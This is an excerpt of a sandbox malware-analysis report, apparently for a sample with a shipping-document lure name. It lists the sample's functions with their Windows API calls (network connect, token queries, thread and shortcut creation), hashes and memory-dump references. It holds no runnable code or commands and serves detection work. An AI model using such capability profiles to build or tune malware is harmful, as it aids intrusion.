                                                • Opcode ID: b1dc3b974a0f3afdfdfa4f76d488e0c37edeada4ff153668113682bf26450c66
                                                • Instruction ID: 493976cd07574d06138dc3840d3db0922879641a90fe20faca62ccf8f7c266e4
                                                • Opcode Fuzzy Hash: b1dc3b974a0f3afdfdfa4f76d488e0c37edeada4ff153668113682bf26450c66
                                                • Instruction Fuzzy Hash: CE21D475700318BADB20AA65AC46FDE7B69EF59320F001026FA0AEB1C1EB70CD0587B1
                                                Function 00D46318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D050E6: _wcsncpy.LIBCMT ref: 00D050FA
                                                • GetFileAttributesW.KERNEL32(?,?,?,?,00D460C3), ref: 00D46369
                                                • GetLastError.KERNEL32(?,?,?,00D460C3), ref: 00D46374
                                                • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00D460C3), ref: 00D46388
                                                • _wcsrchr.LIBCMT ref: 00D463AA
                                                  • Part of subcall function 00D46318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00D460C3), ref: 00D463E0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
                                                • String ID:
                                                • API String ID: 3633006590-0
                                                • Opcode ID: 2894e5877d9bc234a2fe1c548bcc21675537b4a8db59be66f8efcbacd7ca6b1d
                                                • Instruction ID: 6705478284799c0e0ca3bbc59fe8035e07c4facbfa22623e4d083b61734b38d2
                                                • Opcode Fuzzy Hash: 2894e5877d9bc234a2fe1c548bcc21675537b4a8db59be66f8efcbacd7ca6b1d
                                                • Instruction Fuzzy Hash: 7021F3315142559BEB25AF78AC4AFEA33ACEF173A0F1C0465F046C31D1EA60D9848A76
                                                Function 00D58B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D5A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D5A84E
                                                • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00D58BD3
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58BE2
                                                • connect.WSOCK32(00000000,?,00000010), ref: 00D58BFE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLastconnectinet_addrsocket
                                                • String ID:
                                                • API String ID: 3701255441-0
                                                • Opcode ID: 6908f493f59ef9c3d719f6c1adeb0fcd55c35ae1b95cca93c37d18b1a61f2c47
                                                • Instruction ID: 8de3014227ff91f0c729d79756bb7257234b4bd6107a5ee2e195f5af2b20cd0f
                                                • Opcode Fuzzy Hash: 6908f493f59ef9c3d719f6c1adeb0fcd55c35ae1b95cca93c37d18b1a61f2c47
                                                • Instruction Fuzzy Hash: A1216D312002149FCB10AB68CC85B7E77AAEF48751F044559FD56EB3D2CE74A8058B71
                                                Function 00D58420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindow.USER32(00000000), ref: 00D58441
                                                • GetForegroundWindow.USER32 ref: 00D58458
                                                • GetDC.USER32(00000000), ref: 00D58494
                                                • GetPixel.GDI32(00000000,?,00000003), ref: 00D584A0
                                                • ReleaseDC.USER32(00000000,00000003), ref: 00D584DB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ForegroundPixelRelease
                                                • String ID:
                                                • API String ID: 4156661090-0
                                                • Opcode ID: 49389de391790fbc6cbf8a542b4fa6cb051a047c1f75bf900741b076fd986c2e
                                                • Instruction ID: 4fb337eab2a48414a7e1214f54c75ede2c0ceeb647e639c56dfe11a4dbc8c339
                                                • Opcode Fuzzy Hash: 49389de391790fbc6cbf8a542b4fa6cb051a047c1f75bf900741b076fd986c2e
                                                • Instruction Fuzzy Hash: 3E216275A00204AFDB00EFA4D885AAEB7E6EF48301F148479EC59D7391DA70EC04DB70
                                                Function 00D1AF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D1AFE3
                                                • SelectObject.GDI32(?,00000000), ref: 00D1AFF2
                                                • BeginPath.GDI32(?), ref: 00D1B009
                                                • SelectObject.GDI32(?,00000000), ref: 00D1B033
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ObjectSelect$BeginCreatePath
                                                • String ID:
                                                • API String ID: 3225163088-0
                                                • Opcode ID: 37349c40cb28ecff9902b550fe3ef07c8385972127f1258582766798971cb9cb
                                                • Instruction ID: 640b713bb6b940d07d60ecf9ce67fa851de8cc31a6fdc49f2e3fb892d8144817
                                                • Opcode Fuzzy Hash: 37349c40cb28ecff9902b550fe3ef07c8385972127f1258582766798971cb9cb
                                                • Instruction Fuzzy Hash: 3E219DB4800317BFDB209F58EC48B9A7B69BB16365F18421AF420D22E1D77088958BB0
                                                Function 00D2217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __calloc_crt.LIBCMT ref: 00D221A9
                                                • CreateThread.KERNEL32(?,?,00D222DF,00000000,?,?), ref: 00D221ED
                                                • GetLastError.KERNEL32 ref: 00D221F7
                                                • _free.LIBCMT ref: 00D22200
                                                • __dosmaperr.LIBCMT ref: 00D2220B
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
                                                • String ID:
                                                • API String ID: 2664167353-0
                                                • Opcode ID: 4051363ef9fab1bd731224dcbc1d182bf4826e66e5c26b96f820329720f98d3f
                                                • Instruction ID: 92d5cdb86d0e13405059eb7530e148eb7df0b8cdbf020131d71445084b62744c
                                                • Opcode Fuzzy Hash: 4051363ef9fab1bd731224dcbc1d182bf4826e66e5c26b96f820329720f98d3f
                                                • Instruction Fuzzy Hash: E1110832104326BF9B21AF65FC42D7B3799EF61778B140029F914C6192DB32D81187B1
                                                Function 00D3ABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D3ABD7
                                                • GetLastError.KERNEL32(?,00D3A69F,?,?,?), ref: 00D3ABE1
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00D3A69F,?,?,?), ref: 00D3ABF0
                                                • HeapAlloc.KERNEL32(00000000,?,00D3A69F,?,?,?), ref: 00D3ABF7
                                                • GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D3AC0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 842720411-0
                                                • Opcode ID: 6368c510cf0e5e36c759fa709f22cfef18798c8e5e4b00c410663deb581fa48e
                                                • Instruction ID: c51741bfda6f6d2f819b376114beeed9fd8696e989988df12e4280475874d322
                                                • Opcode Fuzzy Hash: 6368c510cf0e5e36c759fa709f22cfef18798c8e5e4b00c410663deb581fa48e
                                                • Instruction Fuzzy Hash: 7D01F675310308BFDB105FA9EC89DAB3BAEEF8A755B140429F945C22A0DA719C40CB71
                                                Function 00D39ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CLSIDFromProgID.OLE32 ref: 00D39ADC
                                                • ProgIDFromCLSID.OLE32(?,00000000), ref: 00D39AF7
                                                • lstrcmpiW.KERNEL32(?,00000000), ref: 00D39B05
                                                • CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00D39B15
                                                • CLSIDFromString.OLE32(?,?), ref: 00D39B21
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: From$Prog$FreeStringTasklstrcmpi
                                                • String ID:
                                                • API String ID: 3897988419-0
                                                • Opcode ID: eb6aa4d273f15c012280e39e05194ba0e805c827c7c734f6a47e7a9da7620e9e
                                                • Instruction ID: cf4c40e3a9119300856d1f4488092e0a232b037aeed8f896e068229b20a995f8
                                                • Opcode Fuzzy Hash: eb6aa4d273f15c012280e39e05194ba0e805c827c7c734f6a47e7a9da7620e9e
                                                • Instruction Fuzzy Hash: 64017876610208ABDB104F68EC94AAAFBBEEB44392F148024F945D2290D7B0DD009BB0
                                                Function 00D47A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D47A74
                                                • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00D47A82
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00D47A8A
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00D47A94
                                                • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D47AD0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                • String ID:
                                                • API String ID: 2833360925-0
                                                • Opcode ID: c2d5a1f15672b9785fbd664012cc0e3455b4f109bfc8e6d59e33bb816606e272
                                                • Instruction ID: 0a28e464789915d361bf2e1ea99d7b50563337ac7cd747293c6c6ff1e04816ab
                                                • Opcode Fuzzy Hash: c2d5a1f15672b9785fbd664012cc0e3455b4f109bfc8e6d59e33bb816606e272
                                                • Instruction Fuzzy Hash: D9015376C08729EBCF00AFA8E84AAEDBB79FF08711F040445E546B2290DB3096508BB1
                                                Function 00D3AAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00D3AADA
                                                • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00D3AAE4
                                                • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D3AAF3
                                                • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00D3AAFA
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D3AB10
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: a32fb4de363be3b00f137bfbb9ecae01f85f85b0950a23b078ac13ff75f45b0d
                                                • Instruction ID: e6ed04c4e2228abffb826f8f161df90a20096021b8a4a63add01762f7f6f278f
                                                • Opcode Fuzzy Hash: a32fb4de363be3b00f137bfbb9ecae01f85f85b0950a23b078ac13ff75f45b0d
                                                • Instruction Fuzzy Hash: 5DF04F71310308AFEB110FA8EC88E677B6EFF46754F140129F941C72D0DA619801CB71
                                                Function 00D3AA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D3AA79
                                                • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D3AA83
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D3AA92
                                                • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D3AA99
                                                • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D3AAAF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 7d4cf6b1ca7259d56ef17771f8529e62c86de512ed8ff159e1263815a53d7534
                                                • Instruction ID: 1b6f81e1c648ac54178760dddd33b3ae9819f6e218216e489c68b373a6417ec7
                                                • Opcode Fuzzy Hash: 7d4cf6b1ca7259d56ef17771f8529e62c86de512ed8ff159e1263815a53d7534
                                                • Instruction Fuzzy Hash: 69F03C722103046FEB115FA8AC8DE673BADFF4A754F14041AF941C62D0DAA19C41CB71
                                                Function 00D3EC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,000003E9), ref: 00D3EC94
                                                • GetWindowTextW.USER32(00000000,?,00000100), ref: 00D3ECAB
                                                • MessageBeep.USER32(00000000), ref: 00D3ECC3
                                                • KillTimer.USER32(?,0000040A), ref: 00D3ECDF
                                                • EndDialog.USER32(?,00000001), ref: 00D3ECF9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                • String ID:
                                                • API String ID: 3741023627-0
                                                • Opcode ID: 146afe2ea9f011d9a5df77e373e607e286760e638ff5a19884f1818e43c1017c
                                                • Instruction ID: 0f11ec7e70641423fee6d26c3fd22473ab608139378a28a14aff3e804ad65c45
                                                • Opcode Fuzzy Hash: 146afe2ea9f011d9a5df77e373e607e286760e638ff5a19884f1818e43c1017c
                                                • Instruction Fuzzy Hash: 6F01A430510708ABEB245B50DE4EF9A77B9FF00B05F041559B683B15E1DBF0AA85CB70
                                                Function 00D1B0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                • EndPath.GDI32(?), ref: 00D1B0BA
                                                • StrokeAndFillPath.GDI32(?,?,00D7E680,00000000,?,?,?), ref: 00D1B0D6
                                                • SelectObject.GDI32(?,00000000), ref: 00D1B0E9
                                                • DeleteObject.GDI32 ref: 00D1B0FC
                                                • StrokePath.GDI32(?), ref: 00D1B117
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                • String ID:
                                                • API String ID: 2625713937-0
                                                • Opcode ID: 9f6c78336e68a28dddfebab380eeb1a0092ae24e52fdfea66aa139f988cd0552
                                                • Instruction ID: ed4635b968efc38962505c7bb77fffc7b5eb86586abccf28736041ca9582fb08
                                                • Opcode Fuzzy Hash: 9f6c78336e68a28dddfebab380eeb1a0092ae24e52fdfea66aa139f988cd0552
                                                • Instruction Fuzzy Hash: 25F0E478050306ABCB21AF65EC0CB943B66BB02376F088315F465C42F2CB308995DF30
                                                Function 00D4F23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00D4F2DA
                                                • CoCreateInstance.OLE32(00D8DA7C,00000000,00000001,00D8D8EC,?), ref: 00D4F2F2
                                                • CoUninitialize.OLE32 ref: 00D4F555
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateInitializeInstanceUninitialize
                                                • String ID: .lnk
                                                • API String ID: 948891078-24824748
                                                • Opcode ID: 7553f074eb5a97d135c30b33a8e519d3c7529c30588f7d8d2ca9276832d65f7e
                                                • Instruction ID: 7e6e713835cc25659d99578481345ff7d641b8e94f7bf0eb92ddd04e4c4db73c
                                                • Opcode Fuzzy Hash: 7553f074eb5a97d135c30b33a8e519d3c7529c30588f7d8d2ca9276832d65f7e
                                                • Instruction Fuzzy Hash: 66A13BB1114201AFD300EF64C891EABB7EDEF98714F00491DF55997192EB71EA49CBB2
                                                Function 00D4E7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D053B1,?,?,00D061FF,?,00000000,00000001,00000000), ref: 00D0662F
                                                • CoInitialize.OLE32(00000000), ref: 00D4E85D
                                                • CoCreateInstance.OLE32(00D8DA7C,00000000,00000001,00D8D8EC,?), ref: 00D4E876
                                                • CoUninitialize.OLE32 ref: 00D4E893
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                • String ID: .lnk
                                                • API String ID: 2126378814-24824748
                                                • Opcode ID: 3db7a86263448e08847882a5325580a4e9dd3bbdee78ad3086e95d492195d8d4
                                                • Instruction ID: 5e428dab2fcbcf9d917597b00d913890ce97a01d93d2929aa65a1b7cb848439f
                                                • Opcode Fuzzy Hash: 3db7a86263448e08847882a5325580a4e9dd3bbdee78ad3086e95d492195d8d4
                                                • Instruction Fuzzy Hash: 2BA12775604301AFCB14EF14C484A5ABBE6FF88310F148958F9999B3A2CB31ED45CBA1
                                                Function 00D2325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                Download Yara Rule
                                                APIs
                                                • __startOneArgErrorHandling.LIBCMT ref: 00D232ED
                                                  • Part of subcall function 00D2E0D0: __87except.LIBCMT ref: 00D2E10B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorHandling__87except__start
                                                • String ID: pow
                                                • API String ID: 2905807303-2276729525
                                                • Opcode ID: d1397058e97933e27d0fcc9e1692c83dbc62ba80c52cd2d1f7527db2dbdfd67b
                                                • Instruction ID: a4a67f8eb29aca4b84d4a4dfc8f81fbcbd1ce8bcd42d17455f2a884e95ebffe8
